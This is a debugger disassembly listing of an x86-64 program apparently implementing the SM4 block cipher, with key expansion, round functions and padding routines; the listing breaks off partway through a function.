000000000040158D | 0FB600 | movzx eax,byte ptr ds:[rax] |
0000000000401590 | 0FB6C0 | movzx eax,al |
0000000000401593 | 09D0 | or eax,edx |
0000000000401595 | 5D | pop rbp |
0000000000401596 | C3 | ret |
0000000000401597 | 55 | push rbp |
0000000000401598 | 48:89E5 | mov rbp,rsp |
000000000040159B | 48:894D 10 | mov qword ptr ss:[rbp+10],rcx | [rbp+10]:__pioinfo
000000000040159F | 8955 18 | mov dword ptr ss:[rbp+18],edx |
00000000004015A2 | 8B45 18 | mov eax,dword ptr ss:[rbp+18] |
00000000004015A5 | C1E8 18 | shr eax,18 |
00000000004015A8 | 89C2 | mov edx,eax |
00000000004015AA | 48:8B45 10 | mov rax,qword ptr ss:[rbp+10] | [rbp+10]:__pioinfo
00000000004015AE | 8810 | mov byte ptr ds:[rax],dl |
00000000004015B0 | 48:8B45 10 | mov rax,qword ptr ss:[rbp+10] | [rbp+10]:__pioinfo
00000000004015B4 | 48:83C0 01 | add rax,1 |
00000000004015B8 | 8B55 18 | mov edx,dword ptr ss:[rbp+18] |
00000000004015BB | C1EA 10 | shr edx,10 |
00000000004015BE | 8810 | mov byte ptr ds:[rax],dl |
00000000004015C0 | 48:8B45 10 | mov rax,qword ptr ss:[rbp+10] | [rbp+10]:__pioinfo
00000000004015C4 | 48:83C0 02 | add rax,2 |
00000000004015C8 | 8B55 18 | mov edx,dword ptr ss:[rbp+18] |
00000000004015CB | C1EA 08 | shr edx,8 |
00000000004015CE | 8810 | mov byte ptr ds:[rax],dl |
00000000004015D0 | 48:8B45 10 | mov rax,qword ptr ss:[rbp+10] | [rbp+10]:__pioinfo
00000000004015D4 | 48:83C0 03 | add rax,3 |
00000000004015D8 | 8B55 18 | mov edx,dword ptr ss:[rbp+18] |
00000000004015DB | 8810 | mov byte ptr ds:[rax],dl |
00000000004015DD | 5D | pop rbp |
00000000004015DE | C3 | ret |
00000000004015DF | 55 | push rbp |
00000000004015E0 | 48:89E5 | mov rbp,rsp |
00000000004015E3 | 48:83EC 30 | sub rsp,30 |
00000000004015E7 | 894D 10 | mov dword ptr ss:[rbp+10],ecx |
00000000004015EA | 48:8D45 F0 | lea rax,qword ptr ss:[rbp-10] |
00000000004015EE | 8B55 10 | mov edx,dword ptr ss:[rbp+10] |
00000000004015F1 | 48:89C1 | mov rcx,rax |
00000000004015F4 | E8 9EFFFFFF | call c_sm4.401597 |
00000000004015F9 | 0FB645 F0 | movzx eax,byte ptr ss:[rbp-10] |
00000000004015FD | 0FB6C0 | movzx eax,al |
0000000000401600 | 48:63D0 | movsxd rdx,eax |
0000000000401603 | 48:8D05 763A0000 | lea rax,qword ptr ds:[405080] |
000000000040160A | 0FB60402 | movzx eax,byte ptr ds:[rdx+rax] |
000000000040160E | 8845 F0 | mov byte ptr ss:[rbp-10],al |
0000000000401611 | 0FB645 F1 | movzx eax,byte ptr ss:[rbp-F] |
0000000000401615 | 0FB6C0 | movzx eax,al |
0000000000401618 | 48:63D0 | movsxd rdx,eax |
000000000040161B | 48:8D05 5E3A0000 | lea rax,qword ptr ds:[405080] |
0000000000401622 | 0FB60402 | movzx eax,byte ptr ds:[rdx+rax] |
0000000000401626 | 8845 F1 | mov byte ptr ss:[rbp-F],al |
0000000000401629 | 0FB645 F2 | movzx eax,byte ptr ss:[rbp-E] |
000000000040162D | 0FB6C0 | movzx eax,al |
0000000000401630 | 48:63D0 | movsxd rdx,eax |
0000000000401633 | 48:8D05 463A0000 | lea rax,qword ptr ds:[405080] |
000000000040163A | 0FB60402 | movzx eax,byte ptr ds:[rdx+rax] |
000000000040163E | 8845 F2 | mov byte ptr ss:[rbp-E],al |
0000000000401641 | 0FB645 F3 | movzx eax,byte ptr ss:[rbp-D] |
0000000000401645 | 0FB6C0 | movzx eax,al |
0000000000401648 | 48:63D0 | movsxd rdx,eax |
000000000040164B | 48:8D05 2E3A0000 | lea rax,qword ptr ds:[405080] |
0000000000401652 | 0FB60402 | movzx eax,byte ptr ds:[rdx+rax] |
0000000000401656 | 8845 F3 | mov byte ptr ss:[rbp-D],al |
0000000000401659 | 48:8D45 F0 | lea rax,qword ptr ss:[rbp-10] |
000000000040165D | 48:89C1 | mov rcx,rax |
0000000000401660 | E8 E3FEFFFF | call c_sm4.401548 |
0000000000401665 | 48:83C4 30 | add rsp,30 |
0000000000401669 | 5D | pop rbp |
000000000040166A | C3 | ret |
000000000040166B | 55 | push rbp |
000000000040166C | 53 | push rbx |
000000000040166D | 48:83EC 28 | sub rsp,28 |
0000000000401671 | 48:8DAC24 80000000 | lea rbp,qword ptr ss:[rsp+80] | [rsp+80]:_read+3DA
0000000000401679 | 894D C0 | mov dword ptr ss:[rbp-40],ecx |
000000000040167C | BA 02000000 | mov edx,2 |
0000000000401681 | 8B4D C0 | mov ecx,dword ptr ss:[rbp-40] |
0000000000401684 | E8 A7FEFFFF | call c_sm4.401530 |
0000000000401689 | 3345 C0 | xor eax,dword ptr ss:[rbp-40] |
000000000040168C | 89C3 | mov ebx,eax |
000000000040168E | BA 0A000000 | mov edx,A | 0A:'n'
0000000000401693 | 8B4D C0 | mov ecx,dword ptr ss:[rbp-40] |
0000000000401696 | E8 95FEFFFF | call c_sm4.401530 |
000000000040169B | 31C3 | xor ebx,eax |
000000000040169D | BA 12000000 | mov edx,12 |
00000000004016A2 | 8B4D C0 | mov ecx,dword ptr ss:[rbp-40] |
00000000004016A5 | E8 86FEFFFF | call c_sm4.401530 |
00000000004016AA | 31C3 | xor ebx,eax |
00000000004016AC | BA 18000000 | mov edx,18 |
00000000004016B1 | 8B4D C0 | mov ecx,dword ptr ss:[rbp-40] |
00000000004016B4 | E8 77FEFFFF | call c_sm4.401530 |
00000000004016B9 | 31D8 | xor eax,ebx |
00000000004016BB | 48:83C4 28 | add rsp,28 |
00000000004016BF | 5B | pop rbx |
00000000004016C0 | 5D | pop rbp |
00000000004016C1 | C3 | ret |
00000000004016C2 | 55 | push rbp |
00000000004016C3 | 53 | push rbx |
00000000004016C4 | 48:83EC 28 | sub rsp,28 |
00000000004016C8 | 48:8DAC24 80000000 | lea rbp,qword ptr ss:[rsp+80] | [rsp+80]:_read+3DA
00000000004016D0 | 894D C0 | mov dword ptr ss:[rbp-40],ecx |
00000000004016D3 | BA 0D000000 | mov edx,D | 0D:'r'
00000000004016D8 | 8B4D C0 | mov ecx,dword ptr ss:[rbp-40] |
00000000004016DB | E8 50FEFFFF | call c_sm4.401530 |
00000000004016E0 | 3345 C0 | xor eax,dword ptr ss:[rbp-40] |
00000000004016E3 | 89C3 | mov ebx,eax |
00000000004016E5 | BA 17000000 | mov edx,17 |
00000000004016EA | 8B4D C0 | mov ecx,dword ptr ss:[rbp-40] |
00000000004016ED | E8 3EFEFFFF | call c_sm4.401530 |
00000000004016F2 | 31D8 | xor eax,ebx |
00000000004016F4 | 48:83C4 28 | add rsp,28 |
00000000004016F8 | 5B | pop rbx |
00000000004016F9 | 5D | pop rbp |
00000000004016FA | C3 | ret |
00000000004016FB | 55 | push rbp |
00000000004016FC | 48:89E5 | mov rbp,rsp |
00000000004016FF | 48:83EC 20 | sub rsp,20 |
0000000000401703 | 894D 10 | mov dword ptr ss:[rbp+10],ecx |
0000000000401706 | 8B4D 10 | mov ecx,dword ptr ss:[rbp+10] |
0000000000401709 | E8 D1FEFFFF | call c_sm4.4015DF |
000000000040170E | 89C1 | mov ecx,eax |
0000000000401710 | E8 56FFFFFF | call c_sm4.40166B |
0000000000401715 | 48:83C4 20 | add rsp,20 |
0000000000401719 | 5D | pop rbp |
000000000040171A | C3 | ret |
000000000040171B | 55 | push rbp |
000000000040171C | 48:89E5 | mov rbp,rsp |
000000000040171F | 48:83EC 20 | sub rsp,20 |
0000000000401723 | 894D 10 | mov dword ptr ss:[rbp+10],ecx |
0000000000401726 | 8B4D 10 | mov ecx,dword ptr ss:[rbp+10] |
0000000000401729 | E8 B1FEFFFF | call c_sm4.4015DF |
000000000040172E | 89C1 | mov ecx,eax |
0000000000401730 | E8 8DFFFFFF | call c_sm4.4016C2 |
0000000000401735 | 48:83C4 20 | add rsp,20 |
0000000000401739 | 5D | pop rbp |
000000000040173A | C3 | ret |
000000000040173B | 55 | push rbp |
000000000040173C | 56 | push rsi |
000000000040173D | 53 | push rbx |
000000000040173E | 48:89E5 | mov rbp,rsp |
0000000000401741 | 48:81EC D0000000 | sub rsp,D0 |
0000000000401748 | 48:894D 20 | mov qword ptr ss:[rbp+20],rcx |
000000000040174C | 48:8955 28 | mov qword ptr ss:[rbp+28],rdx |
0000000000401750 | 48:8B45 28 | mov rax,qword ptr ss:[rbp+28] |
0000000000401754 | 48:89C1 | mov rcx,rax |
0000000000401757 | E8 ECFDFFFF | call c_sm4.401548 |
000000000040175C | 8945 E0 | mov dword ptr ss:[rbp-20],eax |
000000000040175F | 48:8B45 28 | mov rax,qword ptr ss:[rbp+28] |
0000000000401763 | 48:83C0 04 | add rax,4 |
0000000000401767 | 48:89C1 | mov rcx,rax |
000000000040176A | E8 D9FDFFFF | call c_sm4.401548 |
000000000040176F | 8945 E4 | mov dword ptr ss:[rbp-1C],eax |
0000000000401772 | 48:8B45 28 | mov rax,qword ptr ss:[rbp+28] |
0000000000401776 | 48:83C0 08 | add rax,8 |
000000000040177A | 48:89C1 | mov rcx,rax |
000000000040177D | E8 C6FDFFFF | call c_sm4.401548 |
0000000000401782 | 8945 E8 | mov dword ptr ss:[rbp-18],eax |
0000000000401785 | 48:8B45 28 | mov rax,qword ptr ss:[rbp+28] |
0000000000401789 | 48:83C0 0C | add rax,C |
000000000040178D | 48:89C1 | mov rcx,rax |
0000000000401790 | E8 B3FDFFFF | call c_sm4.401548 |
0000000000401795 | 8945 EC | mov dword ptr ss:[rbp-14],eax |
0000000000401798 | 8B45 E0 | mov eax,dword ptr ss:[rbp-20] |
000000000040179B | BA C6BAB1A3 | mov edx,A3B1BAC6 |
00000000004017A0 | 83C2 01 | add edx,1 |
00000000004017A3 | 31D0 | xor eax,edx |
00000000004017A5 | 8985 50FFFFFF | mov dword ptr ss:[rbp-B0],eax |
00000000004017AB | 8B45 E4 | mov eax,dword ptr ss:[rbp-1C] |
00000000004017AE | BA 5033AA56 | mov edx,56AA3350 |
00000000004017B3 | 83C2 02 | add edx,2 |
00000000004017B6 | 31D0 | xor eax,edx |
00000000004017B8 | 8985 54FFFFFF | mov dword ptr ss:[rbp-AC],eax |
00000000004017BE | 8B45 E8 | mov eax,dword ptr ss:[rbp-18] |
00000000004017C1 | BA 97917D67 | mov edx,677D9197 |
00000000004017C6 | 83C2 03 | add edx,3 |
00000000004017C9 | 31D0 | xor eax,edx |
00000000004017CB | 8985 58FFFFFF | mov dword ptr ss:[rbp-A8],eax |
00000000004017D1 | 8B45 EC | mov eax,dword ptr ss:[rbp-14] |
00000000004017D4 | BA DC2270B2 | mov edx,B27022DC |
00000000004017D9 | 83C2 04 | add edx,4 |
00000000004017DC | 31D0 | xor eax,edx |
00000000004017DE | 8985 5CFFFFFF | mov dword ptr ss:[rbp-A4],eax |
00000000004017E4 | C745 FC 00000000 | mov dword ptr ss:[rbp-4],0 |
00000000004017EB | E9 A2000000 | jmp c_sm4.401892 |
00000000004017F0 | 8B45 FC | mov eax,dword ptr ss:[rbp-4] |
00000000004017F3 | 83C0 01 | add eax,1 |
00000000004017F6 | 48:98 | cdqe |
00000000004017F8 | 8B9485 50FFFFFF | mov edx,dword ptr ss:[rbp+rax*4-B0] |
00000000004017FF | 8B45 FC | mov eax,dword ptr ss:[rbp-4] |
0000000000401802 | 83C0 02 | add eax,2 |
0000000000401805 | 48:98 | cdqe |
0000000000401807 | 8B8485 50FFFFFF | mov eax,dword ptr ss:[rbp+rax*4-B0] |
000000000040180E | 31C2 | xor edx,eax |
0000000000401810 | 8B45 FC | mov eax,dword ptr ss:[rbp-4] |
0000000000401813 | 83C0 03 | add eax,3 |
0000000000401816 | 48:98 | cdqe |
0000000000401818 | 8B8485 50FFFFFF | mov eax,dword ptr ss:[rbp+rax*4-B0] |
000000000040181F | 89D1 | mov ecx,edx |
0000000000401821 | 31C1 | xor ecx,eax |
0000000000401823 | 8B45 FC | mov eax,dword ptr ss:[rbp-4] |
0000000000401826 | 48:98 | cdqe |
0000000000401828 | 48:8D1485 00000000 | lea rdx,qword ptr ds:[rax*4] |
0000000000401830 | 48:8D05 89390000 | lea rax,qword ptr ds:[4051C0] |
0000000000401837 | 8B0402 | mov eax,dword ptr ds:[rdx+rax] |
000000000040183A | 31C8 | xor eax,ecx |
000000000040183C | 8945 F8 | mov dword ptr ss:[rbp-8],eax |
000000000040183F | 8B45 FC | mov eax,dword ptr ss:[rbp-4] |
0000000000401842 | 8D70 04 | lea esi,qword ptr ds:[rax+4] |
0000000000401845 | 8B45 FC | mov eax,dword ptr ss:[rbp-4] |
0000000000401848 | 48:98 | cdqe |
000000000040184A | 8B9C85 50FFFFFF | mov ebx,dword ptr ss:[rbp+rax*4-B0] |
0000000000401851 | 8B45 F8 | mov eax,dword ptr ss:[rbp-8] |
0000000000401854 | 89C1 | mov ecx,eax |
0000000000401856 | E8 C0FEFFFF | call c_sm4.40171B |
000000000040185B | 31C3 | xor ebx,eax |
000000000040185D | 89DA | mov edx,ebx |
000000000040185F | 48:63C6 | movsxd rax,esi |
0000000000401862 | 899485 50FFFFFF | mov dword ptr ss:[rbp+rax*4-B0],edx |
0000000000401869 | 8B45 FC | mov eax,dword ptr ss:[rbp-4] |
000000000040186C | 48:98 | cdqe |
000000000040186E | 48:8D1485 00000000 | lea rdx,qword ptr ds:[rax*4] |
0000000000401876 | 48:8B45 20 | mov rax,qword ptr ss:[rbp+20] |
000000000040187A | 48:01C2 | add rdx,rax |
000000000040187D | 8B45 FC | mov eax,dword ptr ss:[rbp-4] |
0000000000401880 | 83C0 04 | add eax,4 |
0000000000401883 | 48:98 | cdqe |
0000000000401885 | 8B8485 50FFFFFF | mov eax,dword ptr ss:[rbp+rax*4-B0] |
000000000040188C | 8902 | mov dword ptr ds:[rdx],eax |
000000000040188E | 8345 FC 01 | add dword ptr ss:[rbp-4],1 |
0000000000401892 | 837D FC 1F | cmp dword ptr ss:[rbp-4],1F |
0000000000401896 | 0F8E 54FFFFFF | jle c_sm4.4017F0 |
000000000040189C | 48:81C4 D0000000 | add rsp,D0 |
00000000004018A3 | 5B | pop rbx |
00000000004018A4 | 5E | pop rsi |
00000000004018A5 | 5D | pop rbp |
00000000004018A6 | C3 | ret |
00000000004018A7 | 55 | push rbp |
00000000004018A8 | 48:89E5 | mov rbp,rsp |
00000000004018AB | 48:81EC B0000000 | sub rsp,B0 |
00000000004018B2 | 48:894D 10 | mov qword ptr ss:[rbp+10],rcx | [rbp+10]:__pioinfo
00000000004018B6 | 48:8955 18 | mov qword ptr ss:[rbp+18],rdx |
00000000004018BA | 48:8B55 18 | mov rdx,qword ptr ss:[rbp+18] |
00000000004018BE | 48:8D85 70FFFFFF | lea rax,qword ptr ss:[rbp-90] |
00000000004018C5 | 48:89C1 | mov rcx,rax |
00000000004018C8 | E8 6EFEFFFF | call c_sm4.40173B |
00000000004018CD | C745 FC 00000000 | mov dword ptr ss:[rbp-4],0 |
00000000004018D4 | EB 2B | jmp c_sm4.401901 |
00000000004018D6 | 8B45 FC | mov eax,dword ptr ss:[rbp-4] |
00000000004018D9 | 48:98 | cdqe |
00000000004018DB | 48:8D1485 00000000 | lea rdx,qword ptr ds:[rax*4] |
00000000004018E3 | 48:8B45 10 | mov rax,qword ptr ss:[rbp+10] | [rbp+10]:__pioinfo
00000000004018E7 | 48:01C2 | add rdx,rax |
00000000004018EA | B8 1F000000 | mov eax,1F |
00000000004018EF | 2B45 FC | sub eax,dword ptr ss:[rbp-4] |
00000000004018F2 | 48:98 | cdqe |
00000000004018F4 | 8B8485 70FFFFFF | mov eax,dword ptr ss:[rbp+rax*4-90] |
00000000004018FB | 8902 | mov dword ptr ds:[rdx],eax |
00000000004018FD | 8345 FC 01 | add dword ptr ss:[rbp-4],1 |
0000000000401901 | 837D FC 1F | cmp dword ptr ss:[rbp-4],1F |
0000000000401905 | 7E CF | jle c_sm4.4018D6 |
0000000000401907 | 48:81C4 B0000000 | add rsp,B0 |
000000000040190E | 5D | pop rbp |
000000000040190F | C3 | ret |
0000000000401910 | 55 | push rbp |
0000000000401911 | 56 | push rsi |
0000000000401912 | 53 | push rbx |
0000000000401913 | 48:89E5 | mov rbp,rsp |
0000000000401916 | 48:81EC C0000000 | sub rsp,C0 |
000000000040191D | 48:894D 20 | mov qword ptr ss:[rbp+20],rcx |
0000000000401921 | 48:8955 28 | mov qword ptr ss:[rbp+28],rdx |
0000000000401925 | 4C:8945 30 | mov qword ptr ss:[rbp+30],r8 |
0000000000401929 | 48:8B45 28 | mov rax,qword ptr ss:[rbp+28] |
000000000040192D | 48:89C1 | mov rcx,rax |
0000000000401930 | E8 13FCFFFF | call c_sm4.401548 |
0000000000401935 | 8985 60FFFFFF | mov dword ptr ss:[rbp-A0],eax |
000000000040193B | 48:8B45 28 | mov rax,qword ptr ss:[rbp+28] |
000000000040193F | 48:83C0 04 | add rax,4 |
0000000000401943 | 48:89C1 | mov rcx,rax |
0000000000401946 | E8 FDFBFFFF | call c_sm4.401548 |
000000000040194B | 8985 64FFFFFF | mov dword ptr ss:[rbp-9C],eax |
0000000000401951 | 48:8B45 28 | mov rax,qword ptr ss:[rbp+28] |
0000000000401955 | 48:83C0 08 | add rax,8 |
0000000000401959 | 48:89C1 | mov rcx,rax |
000000000040195C | E8 E7FBFFFF | call c_sm4.401548 |
0000000000401961 | 8985 68FFFFFF | mov dword ptr ss:[rbp-98],eax |
0000000000401967 | 48:8B45 28 | mov rax,qword ptr ss:[rbp+28] |
000000000040196B | 48:83C0 0C | add rax,C |
000000000040196F | 48:89C1 | mov rcx,rax |
0000000000401972 | E8 D1FBFFFF | call c_sm4.401548 |
0000000000401977 | 8985 6CFFFFFF | mov dword ptr ss:[rbp-94],eax |
000000000040197D | C745 FC 00000000 | mov dword ptr ss:[rbp-4],0 |
0000000000401984 | EB 7A | jmp c_sm4.401A00 |
0000000000401986 | 8B45 FC | mov eax,dword ptr ss:[rbp-4] |
0000000000401989 | 83C0 01 | add eax,1 |
000000000040198C | 48:98 | cdqe |
000000000040198E | 8B9485 60FFFFFF | mov edx,dword ptr ss:[rbp+rax*4-A0] |
0000000000401995 | 8B45 FC | mov eax,dword ptr ss:[rbp-4] |
0000000000401998 | 83C0 02 | add eax,2 |
000000000040199B | 48:98 | cdqe |
000000000040199D | 8B8485 60FFFFFF | mov eax,dword ptr ss:[rbp+rax*4-A0] |
00000000004019A4 | 31C2 | xor edx,eax |
00000000004019A6 | 8B45 FC | mov eax,dword ptr ss:[rbp-4] |
00000000004019A9 | 83C0 03 | add eax,3 |
00000000004019AC | 48:98 | cdqe |
00000000004019AE | 8B8485 60FFFFFF | mov eax,dword ptr ss:[rbp+rax*4-A0] |
00000000004019B5 | 31C2 | xor edx,eax |
00000000004019B7 | 8B45 FC | mov eax,dword ptr ss:[rbp-4] |
00000000004019BA | 48:98 | cdqe |
00000000004019BC | 48:8D0C85 00000000 | lea rcx,qword ptr ds:[rax*4] |
00000000004019C4 | 48:8B45 20 | mov rax,qword ptr ss:[rbp+20] |
00000000004019C8 | 48:01C8 | add rax,rcx |
00000000004019CB | 8B00 | mov eax,dword ptr ds:[rax] |
00000000004019CD | 31D0 | xor eax,edx |
00000000004019CF | 8945 F8 | mov dword ptr ss:[rbp-8],eax |
00000000004019D2 | 8B45 FC | mov eax,dword ptr ss:[rbp-4] |
00000000004019D5 | 8D70 04 | lea esi,qword ptr ds:[rax+4] |
00000000004019D8 | 8B45 FC | mov eax,dword ptr ss:[rbp-4] |
00000000004019DB | 48:98 | cdqe |
00000000004019DD | 8B9C85 60FFFFFF | mov ebx,dword ptr ss:[rbp+rax*4-A0] |
00000000004019E4 | 8B45 F8 | mov eax,dword ptr ss:[rbp-8] |
00000000004019E7 | 89C1 | mov ecx,eax |
00000000004019E9 | E8 0DFDFFFF | call c_sm4.4016FB |
00000000004019EE | 31C3 | xor ebx,eax |
00000000004019F0 | 89DA | mov edx,ebx |
00000000004019F2 | 48:63C6 | movsxd rax,esi |
00000000004019F5 | 899485 60FFFFFF | mov dword ptr ss:[rbp+rax*4-A0],edx |
00000000004019FC | 8345 FC 01 | add dword ptr ss:[rbp-4],1 |
0000000000401A00 | 837D FC 1F | cmp dword ptr ss:[rbp-4],1F |
0000000000401A04 | 7E 80 | jle c_sm4.401986 |
0000000000401A06 | 8B55 EC | mov edx,dword ptr ss:[rbp-14] |
0000000000401A09 | 48:8B45 30 | mov rax,qword ptr ss:[rbp+30] |
0000000000401A0D | 48:89C1 | mov rcx,rax |
0000000000401A10 | E8 82FBFFFF | call c_sm4.401597 |
0000000000401A15 | 8B45 E8 | mov eax,dword ptr ss:[rbp-18] |
0000000000401A18 | 48:8B55 30 | mov rdx,qword ptr ss:[rbp+30] |
0000000000401A1C | 48:8D4A 04 | lea rcx,qword ptr ds:[rdx+4] |
0000000000401A20 | 89C2 | mov edx,eax |
0000000000401A22 | E8 70FBFFFF | call c_sm4.401597 |
0000000000401A27 | 8B45 E4 | mov eax,dword ptr ss:[rbp-1C] |
0000000000401A2A | 48:8B55 30 | mov rdx,qword ptr ss:[rbp+30] |
0000000000401A2E | 48:8D4A 08 | lea rcx,qword ptr ds:[rdx+8] |
0000000000401A32 | 89C2 | mov edx,eax |
0000000000401A34 | E8 5EFBFFFF | call c_sm4.401597 |
0000000000401A39 | 8B45 E0 | mov eax,dword ptr ss:[rbp-20] |
0000000000401A3C | 48:8B55 30 | mov rdx,qword ptr ss:[rbp+30] |
0000000000401A40 | 48:8D4A 0C | lea rcx,qword ptr ds:[rdx+C] |
0000000000401A44 | 89C2 | mov edx,eax |
0000000000401A46 | E8 4CFBFFFF | call c_sm4.401597 |
0000000000401A4B | 90 | nop |
0000000000401A4C | 48:81C4 C0000000 | add rsp,C0 |
0000000000401A53 | 5B | pop rbx |
0000000000401A54 | 5E | pop rsi |
0000000000401A55 | 5D | pop rbp |
0000000000401A56 | C3 | ret |
0000000000401A57 | 55 | push rbp |
0000000000401A58 | 48:89E5 | mov rbp,rsp |
0000000000401A5B | 48:83EC 30 | sub rsp,30 |
0000000000401A5F | 48:894D 10 | mov qword ptr ss:[rbp+10],rcx | [rbp+10]:__pioinfo
0000000000401A63 | 48:8955 18 | mov qword ptr ss:[rbp+18],rdx |
0000000000401A67 | 4C:8945 20 | mov qword ptr ss:[rbp+20],r8 |
0000000000401A6B | 48:8B45 18 | mov rax,qword ptr ss:[rbp+18] |
0000000000401A6F | 83E0 0F | and eax,F |
0000000000401A72 | BA 10000000 | mov edx,10 |
0000000000401A77 | 48:29C2 | sub rdx,rax |
0000000000401A7A | 48:89D0 | mov rax,rdx |
0000000000401A7D | 48:8945 F8 | mov qword ptr ss:[rbp-8],rax |
0000000000401A81 | 48:837D F8 00 | cmp qword ptr ss:[rbp-8],0 |
0000000000401A86 | 75 08 | jne c_sm4.401A90 |
0000000000401A88 | 48:C745 F8 10000000 | mov qword ptr ss:[rbp-8],10 |
0000000000401A90 | 48:8B55 18 | mov rdx,qword ptr ss:[rbp+18] |
0000000000401A94 | 48:8B45 F8 | mov rax,qword ptr ss:[rbp-8] |
0000000000401A98 | 48:01C2 | add rdx,rax |
0000000000401A9B | 48:8B45 20 | mov rax,qword ptr ss:[rbp+20] |
0000000000401A9F | 48:8910 | mov qword ptr ds:[rax],rdx |
0000000000401AA2 | 48:8B45 20 | mov rax,qword ptr ss:[rbp+20] |
0000000000401AA6 | 48:8B00 | mov rax,qword ptr ds:[rax] |
0000000000401AA9 | 48:89C1 | mov rcx,rax |
0000000000401AAC | E8 6F190000 | call <JMP.&malloc> |
0000000000401AB1 | 48:8945 F0 | mov qword ptr ss:[rbp-10],rax |
0000000000401AB5 | 48:837D F0 00 | cmp qword ptr ss:[rbp-10],0 |
0000000000401ABA | 75 07 | jne c_sm4.401AC3 |
0000000000401ABC | B8 00000000 | mov eax,0 |
0000000000401AC1 | EB 3D | jmp c_sm4.401B00 |
0000000000401AC3 | 48:8B55 18 | mov rdx,qword ptr ss:[rbp+18] |
0000000000401AC7 | 48:8B45 F0 | mov rax,qword ptr ss:[rbp-10] |
0000000000401ACB | 49:89D0 | mov r8,rdx |
0000000000401ACE | 48:8B55 10 | mov rdx,qword ptr ss:[rbp+10] | [rbp+10]:__pioinfo
0000000000401AD2 | 48:89C1 | mov rcx,rax |
0000000000401AD5 | E8 56190000 | call <JMP.&memmove> |
0000000000401ADA | 48:8B45 F8 | mov rax,qword ptr ss:[rbp-8] |
0000000000401ADE | 89C1 | mov ecx,eax |
0000000000401AE0 | 48:8B55 F0 | mov rdx,qword ptr ss:[rbp-10] |
0000000000401AE4 | 48:8B45 18 | mov rax,qword ptr ss:[rbp+18] |
0000000000401AE8 | 48:01D0 | add rax,rdx |
0000000000401AEB | 48:8B55 F8 | mov rdx,qword ptr ss:[rbp-8] |
0000000000401AEF | 49:89D0 | mov r8,rdx |
0000000000401AF2 | 89CA | mov edx,ecx |
0000000000401AF4 | 48:89C1 | mov rcx,rax |
0000000000401AF7 | E8 64190000 | call <JMP.&memset> |
0000000000401AFC | 48:8B45 F0 | mov rax,qword ptr ss:[rbp-10] |
0000000000401B00 | 48:83C4 30 | add rsp,30 |
0000000000401B04 | 5D | pop rbp |
0000000000401B05 | C3 | ret |
0000000000401B06 | 55 | push rbp |
0000000000401B07 | 48:89E5 | mov rbp,rsp |
0000000000401B0A | 48:83EC 10 | sub rsp,10 |
0000000000401B0E | 48:894D 10 | mov qword ptr ss:[rbp+10],rcx | [rbp+10]:__pioinfo
0000000000401B12 | 48:8955 18 | mov qword ptr ss:[rbp+18],rdx |
0000000000401B16 | 48:8B45 18 | mov rax,qword ptr ss:[rbp+18] |
0000000000401B1A | 48:8B00 | mov rax,qword ptr ds:[rax] |
0000000000401B1D | 48:85C0 | test rax,rax |
0000000000401B20 | 74 0F | je c_sm4.401B31 |
0000000000401B22 | 48:8B45 18 | mov rax,qword ptr ss:[rbp+18] |
0000000000401B26 | 48:8B00 | mov rax,qword ptr ds:[rax] |
0000000000401B29 | 83E0 0F | and eax,F |
0000000000401B2C | 48:85C0 | test rax,rax |
0000000000401B2F | 74 0A | je c_sm4.401B3B |
0000000000401B31 | B8 00000000 | mov eax,0 |
0000000000401B36 | E9 83000000 | jmp c_sm4.401BBE |
0000000000401B3B | 48:8B45 18 | mov rax,qword ptr ss:[rbp+18] |
0000000000401B3F | 48:8B00 | mov rax,qword ptr ds:[rax] |
0000000000401B42 | 48:8D50 FF | lea rdx,qword ptr ds:[rax-1] |
0000000000401B46 | 48:8B45 10 | mov rax,qword ptr ss:[rbp+10] | [rbp+10]:__pioinfo
0000000000401B4A | 48:01D0 | add rax,rdx |
0000000000401B4D | 0FB600 | movzx eax,byte ptr ds:[rax] |
0000000000401B50 | 8845 F7 | mov byte ptr ss:[rbp-9],al |
0000000000401B53 | 807D F7 00 | cmp byte ptr ss:[rbp-9],0 |
0000000000401B57 | 74 06 | je c_sm4.401B5F |
0000000000401B59 | 807D F7 10 | cmp byte ptr ss:[rbp-9],10 |
0000000000401B5D | 76 07 | jbe c_sm4.401B66 |
0000000000401B5F | B8 00000000 | mov eax,0 |
0000000000401B64 | EB 58 | jmp c_sm4.401BBE |
0000000000401B66 | 48:C745 F8 00000000 | mov qword ptr ss:[rbp-8],0 |
0000000000401B6E | EB 2A | jmp c_sm4.401B9A |
0000000000401B70 | 48:8B45 18 | mov rax,qword ptr ss:[rbp+18] |
0000000000401B74 | 48:8B00 | mov rax,qword ptr ds:[rax] |
0000000000401B77 | 48:2B45 F8 | sub rax,qword ptr ss:[rbp-8] |
0000000000401B7B | 48:8D50 FF | lea rdx,qword ptr ds:[rax-1] |
0000000000401B7F | 48:8B45 10 | mov rax,qword ptr ss:[rbp+10] | [rbp+10]:__pioinfo
0000000000401B83 | 48:01D0 | add rax,rdx |
0000000000401B86 | 0FB600 | movzx eax,byte ptr ds:[rax] |
0000000000401B89 | 3A45 F7 | cmp al,byte ptr ss:[rbp-9] |
0000000000401B8C | 74 07 | je c_sm4.401B95 |
0000000000401B8E | B8 00000000 | mov eax,0 |
0000000000401B93 | EB 29 | jmp c_sm4.401BBE |
0000000000401B95 | 48:8345 F8 01 | add qword ptr ss:[rbp-8],1 |
0000000000401B9A | 0FB645 F7 | movzx eax,byte ptr ss:[rbp-9] |
0000000000401B9E | 48:3B45 F8 | cmp rax,qword ptr ss:[rbp-8] |
0000000000401BA2 | 77 CC | ja c_sm4.401B70 |
0000000000401BA4 | 48:8B45 18 | mov rax,qword ptr ss:[rbp+18] |
0000000000401BA8 | 48:8B10 | mov rdx,qword ptr ds:[rax] |
0000000000401BAB | 0FB645 F7 | movzx eax,byte ptr ss:[rbp-9] |
0000000000401BAF | 48:29C2 | sub rdx,rax |
0000000000401BB2 | 48:8B45 18 | mov rax,qword ptr ss:[rbp+18] |
0000000000401BB6 | 48:8910 | mov qword ptr ds:[rax],rdx |
0000000000401BB9 | B8 01000000 | mov eax,1 |
0000000000401BBE | 48:83C4 10 | add rsp,10 |
0000000000401BC2 | 5D | pop rbp |
0000000000401BC3 | C3 | ret |
0000000000401BC4 | 55 | push rbp |
0000000000401BC5 | 48:89E5 | mov rbp,rsp |
0000000000401BC8 | 48:81EC C0000000 | sub rsp,C0 |
0000000000401BCF | 48:894D 10 | mov qword ptr ss:[rbp+10],rcx | [rbp+10]:__pioinfo
0000000000401BD3 | 48:8955 18 | mov qword ptr ss:[rbp+18],rdx |
0000000000401BD7 | 4C:8945 20 | mov qword ptr ss:[rbp+20],r8 |
